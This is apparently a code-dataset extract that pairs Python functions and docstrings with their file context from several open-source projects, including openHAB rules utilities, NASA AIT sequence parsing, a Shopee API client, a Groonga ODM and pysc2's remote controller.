repository_name
stringlengths
7
107
function_path
stringlengths
4
190
function_identifier
stringlengths
1
236
language
stringclasses
1 value
function
stringlengths
9
647k
docstring
stringlengths
5
488k
function_url
stringlengths
71
285
context
stringlengths
0
2.51M
license
stringclasses
5 values
rkoshak/openhab-rules-tools
rules_utils/automation/lib/python/community/rules_utils.py
get_items_from_triggers
python
def get_items_from_triggers(triggers): return [t.split(" ")[1] for t in triggers if t.startswith("Item")]
Given a list of Item rule triggers, extract the names of the Items and return them in a list. Arguments: - triggers: the list of rule trigger strings. Returns: A list of item_names.
https://github.com/rkoshak/openhab-rules-tools/blob/476d5760f001e73da1743bb69c5a83cf4baa997d/rules_utils/automation/lib/python/community/rules_utils.py#L202-L212
from core.rules import rule from core.triggers import when from core.metadata import get_value from core.jsr223 import scope from core.log import log_traceback @log_traceback def create_switch_trigger_item(item_name, logger): if item_name not in scope.items: from core.items import add_item logger.info("Creating Item {}".format(item_name)) add_item(item_name, item_type="Switch") return True else: return True @log_traceback def delete_rule(function, logger): if hasattr(function, "UID"): logger.info("Deleting rule {}".format(function.UID)) scope.scriptExtension.get("ruleRegistry").remove(function.UID) delattr(function, "triggers") delattr(function, "UID") if hasattr(function, "UID"): logger.error("Failed to delete rule {}".format(function.UID)) return False else: return True @log_traceback def create_rule(name, triggers, function, logger, description=None, tags=None): for trigger in triggers: when(trigger)(function) rule(name, description, tags)(function) if hasattr(function, "UID"): logger.info("Successfully created rule {}".format(name)) return True else: logger.error("Failed to create rule {}".format(name)) return False @log_traceback def create_simple_rule(item_name, name, function, logger, description=None, tags=None): if create_switch_trigger_item(item_name, logger): triggers = ["Item {} received command ON".format(item_name)] if create_rule(name, triggers, function, logger, description, tags): return True return False @log_traceback def load_rule_with_metadata(namespace, check_config, event, rule_name, function, logger, description=None, tags=None, systemstarted=False): logger.info("Creating {} rule...".format(rule_name)) if not delete_rule(function, logger): return None triggers = generate_triggers(namespace, check_config, event, logger) if not triggers: logger.warn("There are no Items with a valid {} metadata" .format(namespace)) return None if systemstarted: triggers = ["System started"] + triggers if not create_rule(rule_name, triggers, function, logger, description, tags): return None return get_items_from_triggers(triggers) def generate_triggers(namespace, check_config, event, logger): triggers = [] for i in [i for i in scope.items if get_value(i, namespace)]: if check_config(i, logger): triggers.append("Item {} {}".format(i, event)) return triggers
Apache License 2.0
nasa-ammos/ait-core
ait/core/seq.py
SeqCmd.parse
python
def parse (cls, line, lineno, log, cmddict): delay = SeqDelay .parse(line, lineno, log, cmddict) attrs = SeqCmdAttrs.parse(line, lineno, log, cmddict) comment = SeqComment .parse(line, lineno, log, cmddict) stop = len(line) if comment: stop = comment.pos.col.start - 1 if attrs and attrs.pos.col.stop != -1: stop = attrs.pos.col.start - 1 tokens = line[:stop].split() name = tokens[1] args = tokens[2:] start = line.find(name) pos = SeqPos(line, lineno, start + 1, stop) if name not in cmddict: log.error('Unrecognized command "%s".' % name, pos) elif cmddict[name].nargs != len(args): msg = 'Command argument size mismatch: expected %d, but encountered %d.' log.error(msg % (cmddict[name].nargs, len(args)), pos) args = [ util.toNumber(a, a) for a in args ] cmd = cmddict.create(name, *args) return cls(cmd, delay, attrs, comment, pos)
Parses the sequence command from a line of text, according to the given command dictionary, and returns a new SeqCmd.
https://github.com/nasa-ammos/ait-core/blob/40717498c20358303521cbd94e9bb2528b7a1f09/ait/core/seq.py#L437-L467
from __future__ import absolute_import import os import math import struct import sys import time from ait.core import cmd, log, util def setBit (value, bit, bitval): if bitval: return value | (1 << bit) else: return value & ~(1 << bit) class Seq (object): def __init__ (self, pathname=None, cmddict=None, id=None, version=0, **kwargs): self.pathname = pathname self.cmddict = cmddict or cmd.getDefaultCmdDict() self.crc32 = None self.seqid = id self.lines = [ ] self.header = { } self.version = version self.log = SeqMsgLog() self.magic = kwargs.get('magic', 0x0C03) self.cmd_size = kwargs.get('cmd_size', 106) if self.pathname is not None: self.read() def _parseHeader (self, line, lineno, log): if line.startswith('#') and line.find(':') > 0: tokens = [ t.strip().lower() for t in line[1:].split(":", 1) ] name = tokens[0] pos = SeqPos(line, lineno) if name in self.header: msg = 'Ignoring duplicate header parameter: %s' log.warning(msg % name, pos) else: for expected in ['seqid', 'version']: if name == expected: value = util.toNumber(tokens[1], None) if value is None: msg = 'Parameter "%s" value "%s" is not a number.' log.error(msg % (name, tokens[1]), poss) else: self.header[name] = value @property def cmddict (self): return self._cmddict @cmddict.setter def cmddict (self, value): if value is None: value = cmd.getDefaultCmdDict() self._cmddict = value @property def commands (self): return list(filter(lambda line: type(line) is SeqCmd, self.lines)) @property def duration (self): return sum(cmd.delay.delay for cmd in self.commands) @property def binpath (self): return self._basepath + '.bin' @property def pathname (self): return self._pathname @pathname.setter def pathname (self, pathname): self._pathname = None self._basepath = None self._basename = None if pathname is not None: self._pathname = pathname self._basepath = os.path.splitext(self._pathname)[0] self._basename = os.path.basename(self._basepath) @property def txtpath (self): return self._basepath + '.txt' def append (self, cmd, delay=0.000, attrs=None): self.lines.append( SeqCmd(cmd, delay, attrs) ) def printText (self, stream=None): if stream is None: stream = sys.stdout stream.write('# seqid : %u\n' % self.seqid ) stream.write('# version : %u\n' % self.version ) stream.write('# crc32 : 0x%04x\n' % self.crc32 ) stream.write('# ncmds : %u\n' % len(self.commands) ) stream.write('# duration: %.3fs\n' % self.duration ) stream.write('\n') for line in self.lines: stream.write( str(line) ) stream.write('\n') def read (self, filename=None): if filename is None: filename = self.pathname stream = open(filename, 'rb') magic = struct.unpack('>H', stream.read(2))[0] stream.close() if magic == self.magic: self.readBinary(filename) else: self.readText(filename) def readBinary (self, filename=None): if filename is None: filename = self.pathname stream = open(filename, 'rb') magic = struct.unpack('>H', stream.read(2))[0] uploadtype = stream.read(1) self.version = struct.unpack('B', stream.read(1))[0] ncmds = struct.unpack('>H', stream.read(2))[0] self.seqid = struct.unpack('>H', stream.read(2))[0] reserved = stream.read(20) self.crc32 = struct.unpack('>I', stream.read(4))[0] for n in range(ncmds): bytes = stream.read(4 + self.cmd_size) self.lines.append(SeqCmd.decode(bytes, self.cmddict)) def readText (self, filename=None): if filename is None: filename = self.pathname self.header = { } inBody = False with open(filename, 'rt') as stream: for (lineno, line) in enumerate(stream.readlines()): stripped = line.strip() if stripped == '': continue elif stripped.startswith('#'): if not inBody: self._parseHeader(line, lineno, self.log) else: inBody = True self.lines.append( SeqCmd.parse(line, lineno, self.log, self.cmddict) ) if 'seqid' in self.header: self.seqid = self.header['seqid'] elif self.seqid is None: self.log.error('No sequence id present in header.') if 'version' in self.header: self.version = self.header['version'] elif self.version is None: self.log.warning('No version present in header. Defaulting to zero (0).') self.version = 0 def validate (self): if not os.path.isfile(self.pathname): self.message.append('Filename "%s" does not exist.') else: try: with open(self.pathname, 'r') as stream: pass except IOError: self.messages.append('Could not open "%s" for reading.' % self.pathname) for line in self.commands: messages = [ ] if line.cmd and not line.cmd.validate(messages): msg = 'error: %s: %s' % (line.cmd.name, " ".join(messages)) self.log.messages.append(msg) return len(self.log.messages) == 0 def writeBinary (self, filename=None): if filename is None: filename = self.binpath with open(filename, 'wb') as output: output.write( struct.pack('>H', self.magic ) ) output.write( struct.pack('B', 9 ) ) output.write( struct.pack('B', self.version ) ) output.write( struct.pack('>H', len(self.commands) ) ) output.write( struct.pack('>H', self.seqid ) ) output.write( struct.pack('>I', 0 ) ) pad = struct.pack('B', 0) for n in range(20): output.write(pad) for line in self.lines: output.write( line.encode() ) self.crc32 = util.crc32File(filename, 0) with open(filename, 'r+b') as output: output.seek(28) output.write( struct.pack('>I', self.crc32) ) def writeText (self, filename=None): if filename is None: filename = self.txtpath with open(filename, 'wt') as output: self.printText(output) class SeqPos (object): def __init__ (self, line=None, lineno=1, start=1, stop=None): if line is None: line = '' start = 0 stop = 0 self.line = line self.lineno = lineno self.col = slice(start, stop or len(self.line)) def __str__ (self): return str(self.lineno) + ':' + str(self.col.start) + ':' class SeqAtom (object): def __init__ (self, pos=None): self.pos = pos or SeqPos() def __str__ (self): result = '' if len(self.pos.line) is not None: result = self.pos.line[self.pos.col.start - 1:self.pos.col.stop] return result @classmethod def decode (cls, bytes, cmddict=None): return cls() def encode (self): return bytearray() @classmethod def parse (cls, line, lineno, log, cmddict=None): return cls(line) def validate (self, log): return True class SeqCmd (SeqAtom): def __init__ (self, cmd, delay=0.000, attrs=None, comment=None, pos=None): super(SeqCmd, self).__init__(pos) self.cmd = cmd self.delay = delay self.attrs = attrs self.comment = comment def __str__ (self): s = '%s\t%s' % (str(self.delay), str(self.cmd)) if self.attrs: s += '\t%s' % str(self.attrs) if self.comment: s += '\t%s' % str(self.comment) return s @classmethod def decode (cls, bytes, cmddict): attrs = SeqCmdAttrs.decode(bytes[0:1]) delay = SeqDelay .decode(bytes[1:4]) cmd = cmddict .decode(bytes[4:] ) return cls(cmd, delay, attrs) def encode (self): return self.attrs.encode() + self.delay.encode() + self.cmd.encode() @classmethod
MIT License
mozilla/mozilla-ignite
apps/challenges/models.py
Submission.needs_booking
python
def needs_booking(self): return all([self.is_winner, not self.timeslot_set.all()])
Determines if this entry needs to book a Timeslot. - Entry has been gren lit - User hasn't booked a timeslot
https://github.com/mozilla/mozilla-ignite/blob/148f5dae0bd6519431d573296a039798fe41eb31/apps/challenges/models.py#L474-L479
from datetime import datetime from dateutil.relativedelta import relativedelta from decimal import Decimal from markdown import markdown from django.conf import settings from django.core.cache import cache from django.core.exceptions import ValidationError from django.core.urlresolvers import reverse, NoReverseMatch from django.core.validators import MaxLengthValidator from django.template.defaultfilters import slugify from django.db import models from django.db.models import signals from django.dispatch import receiver from challenges.lib import cached_bleach, cached_property from challenges.managers import (SubmissionHelpManager, PhaseManager, SubmissionManager) from django_extensions.db.fields import (AutoSlugField, CreationDateTimeField, ModificationDateTimeField) from innovate.models import BaseModel, BaseModelManager from innovate.utils import ImageStorage from projects.models import Project from tower import ugettext_lazy as _ from users.models import Profile class ChallengeManager(BaseModelManager): def get_by_natural_key(self, slug): return self.get(slug=slug) class Challenge(BaseModel): objects = ChallengeManager() title = models.CharField(verbose_name=_(u'Title'), max_length=60, unique=True) slug = models.SlugField(verbose_name=_(u'Slug'), max_length=60, unique=True) summary = models.TextField(verbose_name=_(u'Summary'), validators=[MaxLengthValidator(200)]) description = models.TextField(verbose_name=_(u'Description')) def natural_key(self): return (self.slug,) @property def description_html(self): return cached_bleach(self.description) image = models.ImageField(verbose_name=_(u'Project image'), null=True, blank=True, upload_to=settings.CHALLENGE_IMAGE_PATH) start_date = models.DateTimeField(verbose_name=_(u'Start date'), default=datetime.utcnow) end_date = models.DateTimeField(verbose_name=_(u'End date')) moderate = models.BooleanField(verbose_name=_(u'Moderate entries'), default=False) allow_voting = models.BooleanField(verbose_name=_(u'Can users vote on submissions?'), default=False) project = models.ForeignKey(Project, verbose_name=_(u'Project'), limit_choices_to={'allow_participation': True}) def get_image_src(self): media_url = getattr(settings, 'MEDIA_URL', '') path = lambda f: f and '%s%s' % (media_url, f) return path(self.image) or path('img/project-default.gif') def __unicode__(self): return self.title def _lookup_url(self, view_name, kwargs=None): if kwargs is None: kwargs = {} try: return reverse(view_name, kwargs=kwargs) except NoReverseMatch: kwargs.update({'project': self.project.slug, 'slug': self.slug}) return reverse(view_name, kwargs=kwargs) def get_absolute_url(self): return self._lookup_url('challenge_show') def in_six_months(): return datetime.utcnow() + relativedelta(months=6) def has_phase_finished(phase): cache_key = '%s_END_DATE' % phase.upper() end_date = cache.get(cache_key) if not end_date: phase = Phase.objects.get_ideation_phase() cache.set(cache_key, end_date) if not phase: return False end_date = phase.end_date return datetime.utcnow() > end_date class Phase(BaseModel): challenge = models.ForeignKey(Challenge, related_name='phases') name = models.CharField(max_length=100) start_date = models.DateTimeField(verbose_name=_(u'Start date'), default=datetime.utcnow) end_date = models.DateTimeField(verbose_name=_(u'End date'), default=in_six_months) judging_start_date = models.DateTimeField( verbose_name=_(u'Judging start date'), blank=True, null=True) judging_end_date = models.DateTimeField( verbose_name=_(u'Judging end date'), blank=True, null=True) order = models.IntegerField() objects = PhaseManager() class Meta: unique_together = (('challenge', 'name'),) ordering = ('order',) def __unicode__(self): return '%s (%s)' % (self.name, self.challenge.title) def natural_key(self): return self.challenge.natural_key() + (self.name,) natural_key.dependencies = ['challenges.challenge'] @models.permalink def get_absolute_url(self): slug = 'ideas' if self.is_ideation else 'apps' return ('entries_all', [slug]) @cached_property def days_remaining(self): now = datetime.utcnow() if not self.is_open: return -1 time_remaining = self.end_date - now return time_remaining.days if time_remaining.days >= 0 else -1 @cached_property def days_until(self): now = datetime.utcnow() if not self.is_closed: return -1 time_until = self.start_date - now return time_until.days if time_until.days >= 0 else -1 @cached_property def phase_rounds(self): return self.phaseround_set.all() @cached_property def current_round(self): now = datetime.utcnow() for item in self.phase_rounds: if item.start_date < now and item.end_date > now: return item return None @cached_property def next_round(self): now = datetime.utcnow() upcoming_rounds = self.phase_rounds.filter(start_date__gte=now).order_by('start_date') if upcoming_rounds: return upcoming_rounds[0] else: return None @cached_property def current_judging_round(self): now = datetime.utcnow() for item in self.phase_rounds: if item.judging_start_date and item.judging_end_date and item.judging_start_date < now and item.judging_end_date > now: return item return None @cached_property def is_judgable(self): now = datetime.utcnow() if self.judging_start_date and self.judging_end_date and self.judging_start_date < now and self.judging_end_date > now: return True if self.current_judging_round: return True return False @cached_property def is_open(self): now = datetime.utcnow() if self.phase_rounds: if self.current_round: return True return False return self.start_date < now and now < self.end_date @property def is_closed(self): return not self.is_open @cached_property def has_started(self): return datetime.utcnow() > self.start_date @cached_property def is_ideation(self): return self.name == settings.IGNITE_IDEATION_NAME @cached_property def is_development(self): return self.name == settings.IGNITE_DEVELOPMENT_NAME @cached_property def slug_url(self): return 'apps' if self.is_development else 'ideas' @receiver(signals.post_save, sender=Phase) def phase_update_cache(instance, **kwargs): key = '%s_end_date' % slugify(instance.name) cache.set(key.upper(), instance.end_date) class ExternalLink(BaseModel): name = models.CharField(verbose_name=_(u'Link Name'), max_length=50) url = models.URLField(verbose_name=_(u'URL'), max_length=255, verify_exists=False) submission = models.ForeignKey('challenges.Submission', blank=True, null=True) def __unicode__(self): return u"%s -> %s" % (self.name, self.url) class CategoryManager(BaseModelManager): def get_active_categories(self): filtered_cats = [] for cat in Category.objects.all(): cat_submissions = cat.submission_set.all() if cat_submissions.count(): filtered_cats.append(cat) if len(filtered_cats) == 0: return False else: return filtered_cats class Category(BaseModel): objects = CategoryManager() name = models.CharField(verbose_name=_(u'Name'), max_length=60, unique=True) slug = models.SlugField(verbose_name=_(u'Slug'), max_length=60, unique=True) def __unicode__(self): return self.name class Meta: verbose_name_plural = 'Categories' class Submission(BaseModel): title = models.CharField(verbose_name=_(u'Title'), max_length=60) brief_description = models.CharField( max_length=200, verbose_name=_(u'Brief Description'), help_text = _(u"Think of this as an elevator pitch - keep it short" u" and sweet")) description = models.TextField(verbose_name=_(u'Description')) sketh_note = models.ImageField( verbose_name=_(u'Featured image'), blank=True, null=True, help_text=_(u"This will be used in our summary and list views. You " u"can add more images in your description or link out to " u"sets or images out on the web by adding in an external link"), upload_to=settings.CHALLENGE_IMAGE_PATH, storage=ImageStorage()) category = models.ForeignKey(Category) created_by = models.ForeignKey(Profile) created_on = models.DateTimeField(default=datetime.utcnow) updated_on = ModificationDateTimeField() is_winner = models.BooleanField(verbose_name=_(u'A winning entry?'), default=False, help_text=_(u'Mark this entry as green lit')) is_draft = models.BooleanField(verbose_name=_(u'Draft?'), help_text=_(u"If you would like some extra time to polish your submission" u" before making it publically then you can set it as draft. " u"When you're ready just un-tick and it will go live")) phase = models.ForeignKey('challenges.Phase') phase_round = models.ForeignKey('challenges.PhaseRound', blank=True, null=True, on_delete=models.SET_NULL) collaborators = models.TextField(blank=True) life_improvements = models.TextField(default="", verbose_name=_(u'How does this improve the lives of people?')) take_advantage = models.TextField(blank=True, null=True, verbose_name=_(u'How does this make the most of the GENI network?')) interest_making = models.TextField(blank=True, null=True, verbose_name=_(u'Are you interested in making this app?')) team_members = models.TextField(blank=True, null=True, verbose_name=_(u'Tell us about your team making this app')) repository_url = models.URLField(max_length=500, verify_exists=False, blank=True) blog_url = models.URLField(max_length=500, verify_exists=False, blank=True) required_effort = models.TextField(blank=True, null=True, verbose_name=_(u'How much effort do you expect this work to take?')) objects = SubmissionManager() class Meta: ordering = ['-id'] def __unicode__(self): return self.title @property def description_html(self): return cached_bleach(markdown(self.description)) @property def challenge(self): return self.phase.challenge def get_image_src(self): media_url = getattr(settings, 'MEDIA_URL', '') path = lambda f: f and '%s%s' % (media_url, f) return path(self.sketh_note) or path('img/project-default.png') def _lookup_url(self, view_name, kwargs=None): if kwargs is None: kwargs = {} try: return reverse(view_name, kwargs=kwargs) except NoReverseMatch: kwargs.update({'project': self.challenge.project.slug, 'slug': self.challenge.slug}) return reverse(view_name, kwargs=kwargs) @cached_property def parent(self): parent_list = self.submissionparent_set.all() if parent_list: return parent_list[0] return None @cached_property def parent_slug(self): if self.parent: return self.parent.slug version_list = self.submissionversion_set.select_related('parent').all() if version_list: return version_list[0].parent.slug return None @cached_property def is_idea(self): return self.phase.name == settings.IGNITE_IDEATION_NAME @cached_property def is_proposal(self): return self.phase.name == settings.IGNITE_DEVELOPMENT_NAME @cached_property def phase_slug(self): if self.is_idea: return 'ideas' return 'apps' def get_absolute_url(self): if self.parent_slug and self.phase_slug: return self._lookup_url('entry_show', {'entry_id': self.parent_slug, 'phase': self.phase_slug}) return u'' def get_edit_url(self): return self._lookup_url('entry_edit', {'pk': self.parent_slug, 'phase': self.phase_slug}) def get_delete_url(self): return self._lookup_url('entry_delete', {'pk': self.id, 'phase': self.phase_slug}) def get_judging_url(self): return self._lookup_url('entry_judge', {'pk': self.id}) def _permission_check(self, user, permission_name): return any(user.has_perm(permission_name, obj=obj) for obj in [None, self]) def visible_to(self, user): return self._permission_check(user, 'challenges.view_submission') def editable_by(self, user): return self._permission_check(user, 'challenges.edit_submission') def deletable_by(self, user): return self._permission_check(user, 'challenges.delete_submission') def judgeable_by(self, user): return self._permission_check(user, 'challenges.judge_submission') def owned_by(self, user): return user == self.created_by.user @cached_property
BSD 3-Clause New or Revised License
jimcurrywang/python-shopee
pyshopee/item.py
Item.add_item_img
python
def add_item_img(self, **kwargs): return self.client.execute("item/img/add", "POST", kwargs)
Use this call to add product item images. :param kwargs: :return:
https://github.com/jimcurrywang/python-shopee/blob/65fec9cecdd77a397720941ba35fd545fe71d5cd/pyshopee/item.py#L150-L157
from .base import BaseModule class Item(BaseModule): def add(self, product_data): return self.client.execute("item/add", "POST", product_data) def delete(self, **kwargs): return self.client.execute("item/delete", "POST", kwargs) def unlist_item(self, **kwargs): return self.client.execute("items/unlist", "POST", kwargs) def update_item(self, update_data): return self.client.execute("item/update", "POST", update_data) def update_img(self, **kwargs): return self.client.execute("item/img/update", "POST", kwargs) def get_item_list(self, **kwargs): return self.client.execute("items/get", "POST", kwargs) def get_item_detail(self, **kwargs): return self.client.execute("item/get", "POST", kwargs) def update_price(self, **kwargs): return self.client.execute("items/update_price", "POST", kwargs) def update_stock(self, **kwargs): return self.client.execute("items/update_stock", "POST", kwargs) def add_variations(self, variation_data): return self.client.execute("item/add_variations", "POST", variation_data) def delete_variation(self, **kwargs): return self.client.execute("item/delete_variation", "POST", kwargs) def update_variation_price(self, **kwargs): return self.client.execute("items/update_variation_price", "POST", kwargs) def update_variation_stock(self, **kwargs): return self.client.execute("items/update_variation_stock", "POST", kwargs)
MIT License
naoina/pyroonga
pyroonga/odm/table.py
Column.__init__
python
def __init__(self, flags=ColumnFlags.COLUMN_SCALAR, type=DataType.ShortText, source=None): if not isinstance(flags, ColumnFlagsFlag): raise TypeError('"flags" is must be instance of ColumnFlags') self.flags = flags if isinstance(type, self.__tablemeta__): self.type = type.__tablename__ else: self.type = type self.source = source.name if isinstance(source, Column) else source self.tablename = self.name = self.value = None self._desc = False
Construct of table column :param flags: const of :class:`ColumnFlags`\ . Default is :const:`COLUMN_SCALAR`\ . :param type: const of :class:`DataType` or instance of :class:`TableMeta` or str. Default is :const:`ShortText`\ . :param source: instance of :class:`Column` or str. Default is None
https://github.com/naoina/pyroonga/blob/fbc87d31386e2499ba87236338ec4c72e03d41f5/pyroonga/odm/table.py#L320-L341
__author__ = "Naoya Inada <naoina@kuune.org>" __all__ = [ 'Column', 'prop_attr', 'tablebase', 'SuggestTable', 'event_type', 'bigram', 'kana', 'item_query', 'pair_query', 'sequence_query', 'event_query', ] import json import logging from pyroonga.groonga import Groonga from pyroonga.odm.attributes import ( TableFlags, ColumnFlagsFlag, ColumnFlags, DataType, TokenizerSymbol, Tokenizer, NormalizerSymbol ) from pyroonga.odm import query from pyroonga.odm.query import ( GroongaRecord, LoadQuery, SuggestQuery, SuggestLoadQuery, SelectQuery, SimpleQuery, ) from pyroonga import utils logger = logging.getLogger(__name__) class prop_attr(property): def __get__(self, instance, owner): return self.fget(owner) class TableMeta(type): def __init__(cls, name, bases, dict_): if '_tables' not in dict_: cls._tables.append(cls) cls.columns = [] for k, v in cls.__dict__.copy().items(): if isinstance(v, Column): cls._setcolumn(k, v) cls.columns.append(v) cls._set_pseudocolumns() return type.__init__(cls, name, bases, dict_) def _set_pseudocolumns(cls): for attr, name, typ in (('_id', '_id', DataType.UInt32), ('_nsubrecs', '_nsubrecs', DataType.Int32), ('_score', '_score', DataType.Int32), ('ALL', '*', DataType.ShortText)): col = Column(flags=ColumnFlags.COLUMN_SCALAR, type=typ) setattr(cls, attr, col) cls._setcolumn(name, col) if not cls._has_table_no_key(): cls._key = Column(flags=ColumnFlags.COLUMN_SCALAR, type=cls.__key_type__) cls._setcolumn('_key', cls._key) def _has_table_no_key(cls): return cls.__tableflags__ & TableFlags.TABLE_NO_KEY def _setcolumn(cls, name, col): col.name = name col.tablename = cls.__tablename__ def __str__(cls): flags = ['--name %s' % cls.__tablename__, '--flags %s' % cls.__tableflags__] if not cls._has_table_no_key(): flags.append('--key_type %s' % cls.__key_type__) if isinstance(cls.__default_tokenizer__, TokenizerSymbol): flags.append('--default_tokenizer %s' % cls.__default_tokenizer__) if isinstance(cls.__normalizer__, NormalizerSymbol): flags.append('--normalizer %s' % cls.__normalizer__) return 'table_create ' + (' '.join(flags)) class TableBase(object): __tableflags__ = TableFlags.TABLE_HASH_KEY __key_type__ = DataType.ShortText __default_tokenizer__ = None __normalizer__ = None grn = None def __init__(self, **kwargs): self.__dict__.update(GroongaRecord(self.__class__, **kwargs).asdict()) @prop_attr def __tablename__(cls): return cls.__name__ @classmethod def bind(cls, grn): if not isinstance(grn, Groonga): raise TypeError("not %s instance" % Groonga.__name__) if not grn.connected: grn.connect() cls.grn = grn @classmethod def create_all(cls): if not isinstance(cls.grn, Groonga): raise TypeError("%s object is not bind" % Groonga.__name__) table_queries = [] column_queries = [] json_results = json.loads(cls.grn.query('table_list')) defined_tables = utils.to_python(json_results, 0) defined_table_names = tuple(v['name'] for v in defined_tables) for tbl in (t for t in cls._tables if t.__tablename__ not in defined_table_names): table_queries.append(str(tbl)) column_queries.extend(str(col) for col in tbl.columns) for queries in (table_queries, column_queries): for query in queries: logger.debug(query) cls.grn.query(query) @classmethod def select(cls, *args, **kwargs): query = SelectQuery(cls, *args, **kwargs) return query @classmethod def load(cls, data, immediate=True): query = cls._load(data) return query.commit() if immediate else query @classmethod def _load(cls, data): return LoadQuery(cls, data) @classmethod def delete(cls, immediate=True, *args, **kwargs): query = SimpleQuery(cls).delete(*args, **kwargs) return query.execute() if immediate else query @classmethod def truncate(cls, immediate=True): query = SimpleQuery(cls).truncate() return query.execute() if immediate else query @classmethod def cache_limit(cls, max_limit=None, immediate=True): query = SimpleQuery(cls).cache_limit(max_limit=max_limit) return query.execute() if immediate else query @classmethod def log_level(cls, level, immediate=True): query = SimpleQuery(cls).log_level(level) return query.execute() if immediate else query @classmethod def log_put(cls, level, message, immediate=True): query = SimpleQuery(cls).log_put(level, message) return query.execute() if immediate else query @classmethod def log_reopen(cls, immediate=True): query = SimpleQuery(cls).log_reopen() return query.execute() if immediate else query def asdict(self, excludes=tuple()): result = self.__dict__.copy() for attr in excludes: result.pop(attr, None) return result class Column(query.BaseExpression): __tablemeta__ = TableMeta
MIT License
nunoplopes/alive
tests/lit/lit/util.py
to_unicode
python
def to_unicode(s): if isinstance(s, bytes): return s.decode('utf-8') return s
Return the parameter as type which supports unicode, possibly decoding it. In Python2, this is the unicode type. In Python3 it's the str type.
https://github.com/nunoplopes/alive/blob/d32f848ef2117be301a3a3f17cf0bf1cbc056e1c/tests/lit/lit/util.py#L98-L109
from __future__ import print_function import errno import itertools import math import numbers import os import platform import signal import subprocess import sys import threading def is_string(value): try: return isinstance(value, basestring) except NameError: return isinstance(value, str) def pythonize_bool(value): if value is None: return False if type(value) is bool: return value if isinstance(value, numbers.Number): return value != 0 if is_string(value): if value.lower() in ('1', 'true', 'on', 'yes'): return True if value.lower() in ('', '0', 'false', 'off', 'no'): return False raise ValueError('"{}" is not a valid boolean'.format(value)) def make_word_regex(word): return r'\b' + word + r'\b' def to_bytes(s): if isinstance(s, bytes): return s return s.encode('utf-8') def to_string(b): if isinstance(b, str): return b if isinstance(b, bytes): try: return b.decode('utf-8') except UnicodeDecodeError: return str(b) try: return b.encode('utf-8') except AttributeError: raise TypeError('not sure how to convert %s to %s' % (type(b), str))
Apache License 2.0
tencent/pysc2tencentextension
pysc2/lib/remote_controller.py
RemoteController.quit
python
def quit(self): try: self._client.write(sc_pb.Request(quit=sc_pb.RequestQuit())) except protocol.ConnectionError: pass finally: self.close()
Shut down the SC2 process.
https://github.com/tencent/pysc2tencentextension/blob/1cb01427f720381125aef067ec14e8602777ee8a/pysc2/lib/remote_controller.py#L251-L259
from __future__ import absolute_import from __future__ import division from __future__ import print_function import functools from absl import logging import socket import time from pysc2.lib import protocol from pysc2.lib import static_data from pysc2.lib import stopwatch import websocket from s2clientprotocol import sc2api_pb2 as sc_pb sw = stopwatch.sw Status = protocol.Status class ConnectError(Exception): pass class RequestError(Exception): def __init__(self, description, res): super(RequestError, self).__init__(description) self.res = res def check_error(res, error_enum): if res.HasField("error"): enum_name = error_enum.DESCRIPTOR.full_name error_name = error_enum.Name(res.error) details = getattr(res, "error_details", "<none>") raise RequestError("%s.%s: '%s'" % (enum_name, error_name, details), res) return res def decorate_check_error(error_enum): def decorator(func): @functools.wraps(func) def _check_error(*args, **kwargs): return check_error(func(*args, **kwargs), error_enum) return _check_error return decorator def skip_status(*skipped): def decorator(func): @functools.wraps(func) def _skip_status(self, *args, **kwargs): if self.status not in skipped: return func(self, *args, **kwargs) return _skip_status return decorator def valid_status(*valid): def decorator(func): @functools.wraps(func) def _valid_status(self, *args, **kwargs): if self.status not in valid: raise protocol.ProtocolError( "`%s` called while in state: %s, valid: (%s)" % ( func.__name__, self.status, ",".join(map(str, valid)))) return func(self, *args, **kwargs) return _valid_status return decorator class RemoteController(object): def __init__(self, host, port, proc=None, timeout_seconds=None): timeout_seconds = timeout_seconds or 120 sock = self._connect(host, port, proc, timeout_seconds) self._client = protocol.StarcraftProtocol(sock) self.ping() @sw.decorate def _connect(self, host, port, proc, timeout_seconds): if ":" in host and not host.startswith("["): host = "[%s]" % host url = "ws://%s:%s/sc2api" % (host, port) was_running = False for i in range(timeout_seconds): is_running = proc and proc.running was_running = was_running or is_running if (i >= timeout_seconds // 4 or was_running) and not is_running: logging.warning( "SC2 isn't running, so bailing early on the websocket connection.") break logging.info("Connecting to: %s, attempt: %s, running: %s", url, i, is_running) try: return websocket.create_connection(url, timeout=timeout_seconds) except socket.error: pass except websocket.WebSocketBadStatusException as err: if err.status_code == 404: pass else: raise time.sleep(1) raise ConnectError("Failed to connect to the SC2 websocket. Is it up?") def close(self): self._client.close() @valid_status(Status.launched, Status.ended, Status.in_game, Status.in_replay) @decorate_check_error(sc_pb.ResponseCreateGame.Error) @sw.decorate def create_game(self, req_create_game): return self._client.send(create_game=req_create_game) @valid_status(Status.launched, Status.init_game) @decorate_check_error(sc_pb.ResponseSaveMap.Error) @sw.decorate def save_map(self, map_path, map_data): return self._client.send(save_map=sc_pb.RequestSaveMap( map_path=map_path, map_data=map_data)) @valid_status(Status.launched, Status.init_game) @decorate_check_error(sc_pb.ResponseJoinGame.Error) @sw.decorate def join_game(self, req_join_game): return self._client.send(join_game=req_join_game) @valid_status(Status.ended, Status.in_game) @decorate_check_error(sc_pb.ResponseRestartGame.Error) @sw.decorate def restart(self): return self._client.send(restart_game=sc_pb.RequestRestartGame()) @valid_status(Status.launched, Status.ended, Status.in_game, Status.in_replay) @decorate_check_error(sc_pb.ResponseStartReplay.Error) @sw.decorate def start_replay(self, req_start_replay): return self._client.send(start_replay=req_start_replay) @valid_status(Status.in_game, Status.in_replay, Status.ended) @sw.decorate def game_info(self): return self._client.send(game_info=sc_pb.RequestGameInfo()) @valid_status(Status.in_game, Status.in_replay) @sw.decorate def data_raw(self): return self._client.send(data=sc_pb.RequestData( ability_id=True, unit_type_id=True, upgrade_id=True, buff_id=True, effect_id=True)) def data(self): return static_data.StaticData(self.data_raw()) @valid_status(Status.in_game, Status.in_replay, Status.ended) @sw.decorate def observe(self, disable_fog=False, target_game_loop=0): return self._client.send(observation=sc_pb.RequestObservation( game_loop=target_game_loop, disable_fog=disable_fog)) @valid_status(Status.in_game, Status.in_replay) @sw.decorate def step(self, count=1): return self._client.send(step=sc_pb.RequestStep(count=count)) @skip_status(Status.in_replay) @valid_status(Status.in_game) @sw.decorate def actions(self, req_action): return self._client.send(action=req_action) def act(self, action): if action: return self.actions(sc_pb.RequestAction(actions=[action])) def chat(self, message): if message: action_chat = sc_pb.ActionChat( channel=sc_pb.ActionChat.Broadcast, message=message) action = sc_pb.Action(action_chat=action_chat) return self.act(action) def acts(self, 